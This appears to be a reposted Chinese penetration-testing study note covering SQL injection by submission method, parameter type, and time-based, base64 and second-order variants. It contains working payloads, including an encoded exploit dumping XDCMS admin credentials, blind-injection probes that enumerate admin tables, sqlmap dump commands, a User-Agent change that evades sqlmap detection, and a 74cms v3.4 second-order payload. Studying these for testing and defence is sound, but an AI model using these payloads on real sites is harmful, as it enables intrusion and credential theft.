滲透測試學習 十一、 其他注入漏洞匯總


大綱:提交方式注入  參數型注入  其他注入

提交方式注入

  常見的提交方式:

  GET:大多數,正常的瀏覽,以URL的方式進行傳參,不安全,明文傳輸,存在長度限制。xx.com/x.php?id=1

  POST:一般在登錄頁面,參數在數據包中,不在URL中傳輸,相對比較安全

  COOKIE:本地登錄憑證

  HEAD:頭部信息

  PUT  OPTION  

  服務器端接收數據的方式:

  GET  只接受get型的傳參

  POST  只接受post型的傳參

  REQUEST  get,post,cookie方式都接受

  GET注入

    get注入比較常見

    e.g  www.xx.com/news.php?id=11

    檢測:加個 / 報錯  -0 正常 --->存在注入

    加 '  SQL語句顯錯注入  或   %bf'  寬字節繞過

  POST注入

    post提交方式主要適用於表單的提交,注冊用戶,登錄賬號,留言,修改賬號,修改個人資料,上傳文件,搜索框

    用於登錄框的注入

    e.g  www.xxx.com/admin.php

    可以在用戶注冊的時候,在用戶名后面加上 ' 會報錯,存在注入,將bp抓的包存儲成txt文件,用sqlmap跑包,如果在注冊的時候,網頁對 ' 過濾,可以在bp抓包,將username的后面加上5bf,繞過過濾

    工具:穿山甲、sqlmap

  XDCMS全版本存在SQL注入漏洞

  需要使用代理抓包改包完成

  sql exp

   %60%3D%28select%20group_concat%28username%2C0x3a%2cpassword%29%20from%20c_admin%20where%20id%3D1%29%23

  將這段exp放在5D%的前面(測表單的名稱)

  COOKIE注入

    cookie提交用於賬號密碼的cookie緩存,還可以通過cookie注入來突破簡單的防注入系統

    sqlmap.py -u "" --cookie "id=30" --level 2

    前提:服務器接收cookie型的傳參

    如果是get型的傳參方式,再試試post型的傳參,如果能傳遞成功,說明cookie也是可以的。

    也可以bp抓包,修改cookie.......;id=30

    再用sqlmap跑包

參數型注入

  數字類型注入  字符類型注入  搜索類型注入  

  數字型注入

    www.xxx.com/news.asp?id=1

    select *from news where id=11

    www.xxx.com/news.asp?id=11 and 1=1

    select * from news where id=11 and 1=1

  字符型注入

    www.xx.com/news.asp?id=你好' and 1=1 #

    select * from news where id="你好' and 1=1 #'

    www.xx.com/news.asp?id=你好' and 1=1'

    select * from news where id='你好' and 1=1'

  搜索型修注入

    like 像

    通配符 *

    SQL通配符%%

    select * from news where id="'%like $id%"

    http://www.xx.com/search.asp?Field=Title&BigClassName=&SmallClassName=&Keyworld=123&Submit=%CB%D1%CB%F7

    參數:keyword=123

    '%%' and 1=2 and '%'='%'

    可以直接bp抓包,存為txt,用sqlmap跑包

    網站是通過useragent:sql.org檢測sqlmap攻擊的

    繞過方法,在安裝路徑下,lib文件夾中,core文件中的option.py文件的地1425行左右,改為百度的爬行蜘蛛

    return "User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/apilder.html)"

    手工注入:

    2%'and(select count(*)from mssysaccessobjects)>0 and '%'='  //返回正常,access數據庫

    2%'and(select count(*)from admin_user)>0 and '%'='  //返回正常,存在admin_user表

    2%'and(select count(username)from admin_user)>0 and '%'='  //返回正常,存在username字段

    2%'and(select count(password)from admin_user)>0 and '%'='  //返回正常,存在password字段

    2%'and(select top 1 len(admin)from admin_user)>4 and '%'='  //返回正常,username長度大於4

    用sqlmap

    先抓包,保存為txt    

    sqlmap.py -r 1.txt --tables  表名

    sqlmap.py -r 1.txt --columns -T "admin"  列名

    sqlmap.py -r 1.txt -C "admin,password" -T "manager" --dump -v 2  內容

其他注入

  偽靜態注入  延遲注入  base64注入  二階注入  

  phpv9 authkey注入  http頭注入  XML實體注入  APP注入挖掘

  偽靜態注入

    例如:  

    http://xx.com.cn/

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131.html

    檢測方法:

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131  返回正常

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131'.html  報錯

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131/.html  報錯

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131-0.html  報錯

    在用sqlmap跑的時候sqlmap檢測不不到注入點時,如下

    http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131*.html

    通常存在於aspcms、phpweb、thinkphp等框架網站

    自己偽造偽靜態

    例如:

    xx.com/x_deitl_id_123.html

    對比如下:

    xx.com/x/deitl.php?id=123

  延遲注入

    是一種條件判斷,通過時間判斷,僅僅是判斷,無法上傳shell

    延遲注入是通過也免得返回時間長度來判斷的,不同的MySQL數據庫版本,延遲注入的語句不一樣

    MySQL>=5.0的可以用sleep()進行查詢

    MySQL<5.0的可以用benchmark()進行查詢

    benchmark用法:

    benchmark(n,sql語句)  n為查詢次數

    通過查詢洗漱的增多,時間變得緩慢來判斷是否存在注入

    select benchmark(1000.select * from admin);

    sleep()延遲注入用法

    sleep可以強制產生一個固定的延遲

    sleep()延遲注入的核心原理

      and if(true,sleep(5),0)==IF(1=1,true,false);

    ?id=1 and sleep(5)  判斷是否存在延遲注入

    and if(substring(user(),1,4)='root',sleep(5),1)  判斷當前用戶

    and if(MID(version(),1,1) LIKE 5, sleep(5),1)  判斷數據庫版本信息是否為5,可以猜解他的數據庫名稱

    and if(ascii(substring(database(),1,4))>100,sleep(4),1)

    sqlmap.py --time-sec=2  延遲注入

  base64編碼注入

    解碼

    構造語句

    編碼

    $id=base64_decode($id);

    用插件  --tamper=base64encode.py

  二階注入

  (一般是在白盒測試中進行,需要代碼審計)

  sql注入一般分為兩種,一階注入(普通的sql注入)和二階注入

  一階注入是發生在一個HTTP請求和響應中,系統堆攻擊數據立即反應執行

  一階注入的攻擊過程歸納如下:

    1、攻擊者在http請求中提交惡意的sql語句

    2、應用處理惡意的輸入,使用惡意的輸入動態構建SQL語句

    3、如果攻擊實現,在響應中向攻擊者返回結果

  二階注入,作為SQL注入的一種,不同於普通的SQL注入,惡意代碼被注入到web應用中不會立即執行,而是存儲在后端數據庫中,在處理另一個不同的請求時,應用檢索到數據庫中的惡意輸入並利用他動態構建SQL語句,實現攻擊。

  二階注入攻擊過程歸納如下:

    1、攻擊者在一個HTTP請求中提交惡意輸入

    2、用於將惡意輸入保存在數據庫中

    3、攻擊者提交第二個HTTP請求

    4、為處理第二個HTTP請求,應用檢索存儲在數據庫中的惡意輸入,動態構建SQL語句

    5、如果攻擊實現,在第二個請求的響應中就會返回結果

  一般攻擊利用是兩種方式

    攻擊存儲  注入攻擊

  74cms人才系統v3.4簡歷填寫中存在注入  aa','fullname'=user()#

實現過程如下:

在網站上搜74cms v3.4的源碼,直接放在PHPstudy的www路徑下,地址欄中輸入127.0.0.1回車,做一番數據庫配置就好了

 

點擊填寫簡歷

先注冊一個賬戶

然后創建簡歷,前面的信息都可以隨便填,只要符合格式就好

需要注意的下面一步,這一步中學校名稱里面存在二階注入漏洞,輸入我們的測試語句 aa',`fullname`=user()# ,保存提交

此時信息錄制成功

 此時我們點擊預覽簡歷,就可以發現已經將查詢結果返回了

 

 

 

 2019-05-05  20:17:46


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM